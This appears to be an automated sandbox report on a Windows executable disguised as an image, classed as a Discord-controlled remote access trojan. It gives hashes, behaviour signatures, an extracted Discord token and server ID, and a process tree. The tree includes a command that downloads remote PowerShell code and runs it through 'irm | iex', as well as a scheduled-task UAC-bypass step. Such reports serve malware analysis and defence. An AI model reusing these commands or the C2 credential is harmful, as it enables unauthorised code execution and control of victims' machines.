Analysis
-
max time kernel
899s -
max time network
862s -
platform
windows10-1703_x64 -
resource
win10-20240404-en -
resource tags
-
submitted
13-05-2024 15:42
General
-
Target
Fiat_uno.png.exe
-
Size
108KB
-
MD5
1cc7a8f7370419409b1781edbdfab184
-
SHA1
c1755bdac85a762b93007cd354c564d23da5ca9d
-
SHA256
e87911dfa2c3bcbdd2ee2d92e577bc167d18bc439f3f9317960b69e5879000e8
-
SHA512
50eb994fbacbc666512a0c026eac083f0fc92d16ab133e71a5e51355433b9f101b7d6098e7ce610347911338d2fff3b75b2e2b1dfcefd4eabf28d5de3e75af50
-
SSDEEP
1536:92WjO8XeEXFd5P7v88wbjNrfxCXhRoKV6+V+pPI3QxLUbTkJiJ+CKkWkh4UpV:9Zz5PDwbjNrmAE+ZI3Qok0+CKXaF
Malware Config
Extracted
discordrat
-
discord_token
OTQ5ODM0ODg4MzkwMDA4ODky.GetiJM.JNqFsu5laAGDOQG7THpEiuBqUW382MMDsx-AYE
-
server_id
1083215987110838322
Signatures
-
Discord RAT
A RAT written in C# using Discord as a C2.
-
Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs
-
Blocklisted process makes network request 2 IoCs
-
Downloads MZ/PE file
-
Executes dropped EXE 1 IoCs
-
Loads dropped DLL 17 IoCs
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs 20 IoCs
-
Drops file in System32 directory 18 IoCs
-
Suspicious use of SetThreadContext 2 IoCs
-
Drops file in Windows directory 6 IoCs
-
Launches sc.exe 64 IoCs
Sc.exe is a Windows utlilty to control services on the system.
-
Checks SCSI registry key(s) 3 TTPs 18 IoCs
SCSI information is often read in order to detect sandboxing environments.
-
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
-
Modifies Internet Explorer settings 1 TTPs 2 IoCs
-
Modifies data under HKEY_USERS 20 IoCs
-
Modifies registry class 3 IoCs
-
Modifies registry key 1 TTPs 64 IoCs
-
Runs ping.exe 1 TTPs 2 IoCs
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
-
Suspicious behavior: GetForegroundWindowSpam 2 IoCs
-
Suspicious use of AdjustPrivilegeToken 64 IoCs
-
Suspicious use of FindShellTrayWindow 64 IoCs
-
Suspicious use of SendNotifyMessage 64 IoCs
-
Suspicious use of UnmapMainImage 2 IoCs
-
Suspicious use of WriteProcessMemory 64 IoCs
-
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\winlogon.exewinlogon.exe1⤵
-
C:\Windows\system32\dwm.exe"dwm.exe"2⤵
-
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{159f1f58-b7dc-4957-ac3c-bfd7ae2d0e6d}2⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{b7510d7d-9732-48fd-b64c-b177993d5d58}2⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k dcomlaunch -s PlugPlay1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k dcomlaunch -s LSM1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localservicenetworkrestricted -s lmhosts1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s NcbService1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Schedule1⤵
- Drops file in System32 directory
-
c:\windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}2⤵
-
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localservicenetworkrestricted -s EventLog1⤵
- Drops file in System32 directory
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localservice -s nsi1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s ProfSvc1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Themes1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localservice -s EventSystem1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localservicenetworkrestricted -s Dhcp1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s UserManager1⤵
-
c:\windows\system32\sihost.exesihost.exe2⤵
-
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s SENS1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k networkservice -s NlaSvc1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k networkservice -s Dnscache1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s AudioEndpointBuilder1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localservice -s netprofm1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k appmodel -s StateRepository1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection1⤵
-
C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Winmgmt1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k networkservice -s LanmanWorkstation1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s LanmanServer1⤵
- Suspicious use of AdjustPrivilegeToken
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s IKEEXT1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k networkservicenetworkrestricted -s PolicyAgent1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k appmodel -s tiledatamodelsvc1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k networkservice -s CryptSvc1⤵
- Drops file in System32 directory
-
C:\Windows\sysmon.exeC:\Windows\sysmon.exe1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s TrkWks1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s WpnService1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Browser1⤵
-
C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k unistacksvcgroup -s CDPUserSvc1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s TokenBroker1⤵
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of UnmapMainImage
-
C:\Users\Admin\AppData\Local\Temp\Fiat_uno.png.exe"C:\Users\Admin\AppData\Local\Temp\Fiat_uno.png.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /C cmd.exe3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
-
-
C:\Windows\system32\cmd.execmd.exe4⤵
-
-
-
C:\Windows\SYSTEM32\SCHTASKS.exe"SCHTASKS.exe" /run /tn \Microsoft\Windows\DiskCleanup\SilentCleanup /I3⤵
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /C powershell | irm https://massgrave.dev/get | iex3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell4⤵
-
-
-
-
C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /02⤵
- Drops file in Windows directory
- Checks SCSI registry key(s)
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"2⤵
- Blocklisted process makes network request
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Windows\Temp\MAS_49734917.cmd" "3⤵
-
C:\Windows\System32\sc.exesc query Null4⤵
- Launches sc.exe
-
-
C:\Windows\System32\find.exefind /i "RUNNING"4⤵
-
-
C:\Windows\System32\findstr.exefindstr /v "$" "MAS_49734917.cmd"4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ver4⤵
-
-
C:\Windows\System32\reg.exereg query "HKCU\Console" /v ForceV24⤵
-
-
C:\Windows\System32\find.exefind /i "0x0"4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c echo prompt $E | cmd4⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo prompt $E "5⤵
-
-
C:\Windows\System32\cmd.execmd5⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo "C:\Windows\Temp\MAS_49734917.cmd" "4⤵
-
-
C:\Windows\System32\find.exefind /i "C:\Users\Admin\AppData\Local\Temp"4⤵
-
-
C:\Windows\System32\fltMC.exefltmc4⤵
-
-
C:\Windows\System32\reg.exereg query HKCU\Console /v QuickEdit4⤵
- Modifies registry key
-
-
C:\Windows\System32\find.exefind /i "0x0"4⤵
-
-
C:\Windows\System32\reg.exereg add HKCU\Console /v QuickEdit /t REG_DWORD /d "0" /f4⤵
- Modifies registry key
-
-
C:\Windows\System32\cmd.execmd.exe /c ""C:\Windows\Temp\MAS_49734917.cmd" -qedit"4⤵
-
C:\Windows\System32\reg.exereg add HKCU\Console /v QuickEdit /t REG_DWORD /d "1" /f5⤵
- Modifies registry key
-
-
C:\Windows\System32\sc.exesc query Null5⤵
- Launches sc.exe
-
-
C:\Windows\System32\find.exefind /i "RUNNING"5⤵
-
-
C:\Windows\System32\findstr.exefindstr /v "$" "MAS_49734917.cmd"5⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo "-qedit" "5⤵
-
-
C:\Windows\System32\find.exefind /i "/"5⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ver5⤵
-
-
C:\Windows\System32\reg.exereg query "HKCU\Console" /v ForceV25⤵
-
-
C:\Windows\System32\find.exefind /i "0x0"5⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c echo prompt $E | cmd5⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo prompt $E "6⤵
-
-
C:\Windows\System32\cmd.execmd6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo "C:\Windows\Temp\MAS_49734917.cmd" "5⤵
-
-
C:\Windows\System32\find.exefind /i "C:\Users\Admin\AppData\Local\Temp"5⤵
-
-
C:\Windows\System32\fltMC.exefltmc5⤵
-
-
C:\Windows\System32\reg.exereg query HKCU\Console /v QuickEdit5⤵
-
-
C:\Windows\System32\find.exefind /i "0x0"5⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ping -4 -n 1 updatecheck.massgrave.dev5⤵
-
C:\Windows\System32\PING.EXEping -4 -n 1 updatecheck.massgrave.dev6⤵
- Runs ping.exe
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo "127.69.2.6" "5⤵
-
-
C:\Windows\System32\find.exefind "127.69"5⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo "127.69.2.6" "5⤵
-
-
C:\Windows\System32\find.exefind "127.69.2.6"5⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo "-qedit" "5⤵
-
-
C:\Windows\System32\find.exefind /i "/S"5⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo "-qedit" "5⤵
-
-
C:\Windows\System32\find.exefind /i "/"5⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /v Desktop5⤵
-
C:\Windows\System32\reg.exereg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /v Desktop6⤵
-
-
-
C:\Windows\System32\mode.commode 76, 305⤵
-
-
C:\Windows\System32\choice.exechoice /C:123456780 /N5⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ver5⤵
-
-
C:\Windows\System32\reg.exereg query "HKCU\Console" /v ForceV25⤵
-
-
C:\Windows\System32\find.exefind /i "0x0"5⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c echo prompt $E | cmd5⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo prompt $E "6⤵
-
-
C:\Windows\System32\cmd.execmd6⤵
-
-
-
C:\Windows\System32\mode.commode 110, 345⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe $ExecutionContext.SessionState.LanguageMode5⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\find.exefind /i "Full"5⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell.exe $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly(4, 1); $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule(2, $False); $TypeBuilder = $ModuleBuilder.DefineType(0); $meth = $TypeBuilder.DefinePInvokeMethod('BrandingFormatString', 'winbrand.dll', 'Public, Static', 1, [String], @([String]), 1, 3); $meth.SetImplementationFlags(128); $TypeBuilder.CreateType()::BrandingFormatString('%WINDOWS_LONG%')"5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly(4, 1); $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule(2, $False); $TypeBuilder = $ModuleBuilder.DefineType(0); $meth = $TypeBuilder.DefinePInvokeMethod('BrandingFormatString', 'winbrand.dll', 'Public, Static', 1, [String], @([String]), 1, 3); $meth.SetImplementationFlags(128); $TypeBuilder.CreateType()::BrandingFormatString('%WINDOWS_LONG%')6⤵
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo "Windows 10 Pro" "5⤵
-
-
C:\Windows\System32\find.exefind /i "Windows"5⤵
-
-
C:\Windows\System32\wbem\WMIC.exewmic path Win32_ComputerSystem get CreationClassName /value5⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\find.exefind /i "computersystem"5⤵
-
-
C:\Windows\System32\sc.exesc start sppsvc5⤵
- Launches sc.exe
-
-
C:\Windows\System32\wbem\WMIC.exewmic path SoftwareLicensingProduct where (LicenseStatus='1' and GracePeriodRemaining='0' and PartialProductKey is not NULL) get Name /value5⤵
-
-
C:\Windows\System32\findstr.exefindstr /i "Windows"5⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell.exe $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly(4, 1); $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule(2, $False); $TypeBuilder = $ModuleBuilder.DefineType(0); [void]$TypeBuilder.DefinePInvokeMethod('SLGetWindowsInformationDWORD', 'slc.dll', 'Public, Static', 1, [int], @([String], [int].MakeByRefType()), 1, 3); $Sku = 0; [void]$TypeBuilder.CreateType()::SLGetWindowsInformationDWORD('Kernel-BrandingInfo', [ref]$Sku); $Sku"5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly(4, 1); $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule(2, $False); $TypeBuilder = $ModuleBuilder.DefineType(0); [void]$TypeBuilder.DefinePInvokeMethod('SLGetWindowsInformationDWORD', 'slc.dll', 'Public, Static', 1, [int], @([String], [int].MakeByRefType()), 1, 3); $Sku = 0; [void]$TypeBuilder.CreateType()::SLGetWindowsInformationDWORD('Kernel-BrandingInfo', [ref]$Sku); $Sku6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg query "HKLM\SYSTEM\CurrentControlSet\Control\ProductOptions" /v OSProductPfn 2>nul5⤵
-
C:\Windows\System32\reg.exereg query "HKLM\SYSTEM\CurrentControlSet\Control\ProductOptions" /v OSProductPfn6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic Path Win32_OperatingSystem Get OperatingSystemSKU /format:LIST" 2>nul5⤵
-
C:\Windows\System32\wbem\WMIC.exewmic Path Win32_OperatingSystem Get OperatingSystemSKU /format:LIST6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" /v PROCESSOR_ARCHITECTURE5⤵
-
C:\Windows\System32\reg.exereg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" /v PROCESSOR_ARCHITECTURE6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ver5⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ping -n 1 l.root-servers.net5⤵
-
C:\Windows\System32\PING.EXEping -n 1 l.root-servers.net6⤵
- Runs ping.exe
-
-
-
C:\Windows\System32\reg.exereg query "HKCU\SOFTWARE\Microsoft\Windows Script Host\Settings" /v Enabled5⤵
-
-
C:\Windows\System32\find.exefind /i "0x0"5⤵
-
-
C:\Windows\System32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows Script Host\Settings" /v Enabled5⤵
-
-
C:\Windows\System32\find.exefind /i "0x0"5⤵
-
-
C:\Windows\System32\sc.exesc start ClipSVC5⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc query ClipSVC5⤵
- Launches sc.exe
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\ClipSVC /v DependOnService5⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\ClipSVC /v Description5⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\ClipSVC /v DisplayName5⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\ClipSVC /v ErrorControl5⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\ClipSVC /v ImagePath5⤵
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\ClipSVC /v ObjectName5⤵
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\ClipSVC /v Start5⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\ClipSVC /v Type5⤵
- Modifies registry key
-
-
C:\Windows\System32\sc.exesc start wlidsvc5⤵
-
-
C:\Windows\System32\sc.exesc query wlidsvc5⤵
- Launches sc.exe
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\wlidsvc /v DependOnService5⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\wlidsvc /v Description5⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\wlidsvc /v DisplayName5⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\wlidsvc /v ErrorControl5⤵
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\wlidsvc /v ImagePath5⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\wlidsvc /v ObjectName5⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\wlidsvc /v Start5⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\wlidsvc /v Type5⤵
-
-
C:\Windows\System32\sc.exesc start sppsvc5⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc query sppsvc5⤵
- Launches sc.exe
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\sppsvc /v DependOnService5⤵
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\sppsvc /v Description5⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\sppsvc /v DisplayName5⤵
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\sppsvc /v ErrorControl5⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\sppsvc /v ImagePath5⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\sppsvc /v ObjectName5⤵
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\sppsvc /v Start5⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\sppsvc /v Type5⤵
-
-
C:\Windows\System32\sc.exesc start KeyIso5⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc query KeyIso5⤵
- Launches sc.exe
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\KeyIso /v DependOnService5⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\KeyIso /v Description5⤵
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\KeyIso /v DisplayName5⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\KeyIso /v ErrorControl5⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\KeyIso /v ImagePath5⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\KeyIso /v ObjectName5⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\KeyIso /v Start5⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\KeyIso /v Type5⤵
-
-
C:\Windows\System32\sc.exesc start LicenseManager5⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc query LicenseManager5⤵
- Launches sc.exe
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\LicenseManager /v DependOnService5⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\LicenseManager /v Description5⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\LicenseManager /v DisplayName5⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\LicenseManager /v ErrorControl5⤵
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\LicenseManager /v ImagePath5⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\LicenseManager /v ObjectName5⤵
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\LicenseManager /v Start5⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\LicenseManager /v Type5⤵
-
-
C:\Windows\System32\sc.exesc start Winmgmt5⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc query Winmgmt5⤵
- Launches sc.exe
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\Winmgmt /v DependOnService5⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\Winmgmt /v Description5⤵
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\Winmgmt /v DisplayName5⤵
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\Winmgmt /v ErrorControl5⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\Winmgmt /v ImagePath5⤵
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\Winmgmt /v ObjectName5⤵
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\Winmgmt /v Start5⤵
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\Winmgmt /v Type5⤵
- Modifies registry key
-
-
C:\Windows\System32\sc.exesc start DoSvc5⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc query DoSvc5⤵
- Launches sc.exe
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\DoSvc /v DependOnService5⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\DoSvc /v Description5⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\DoSvc /v DisplayName5⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\DoSvc /v ErrorControl5⤵
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\DoSvc /v ImagePath5⤵
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\DoSvc /v ObjectName5⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\DoSvc /v Start5⤵
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\DoSvc /v Type5⤵
- Modifies registry key
-
-
C:\Windows\System32\sc.exesc start UsoSvc5⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc query UsoSvc5⤵
- Launches sc.exe
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /v DependOnService5⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /v Description5⤵
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /v DisplayName5⤵
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /v ErrorControl5⤵
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /v ImagePath5⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /v ObjectName5⤵
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /v Start5⤵
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /v Type5⤵
- Modifies registry key
-
-
C:\Windows\System32\sc.exesc start CryptSvc5⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc query CryptSvc5⤵
- Launches sc.exe
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\CryptSvc /v DependOnService5⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\CryptSvc /v Description5⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\CryptSvc /v DisplayName5⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\CryptSvc /v ErrorControl5⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\CryptSvc /v ImagePath5⤵
- Modifies registry key
-
-
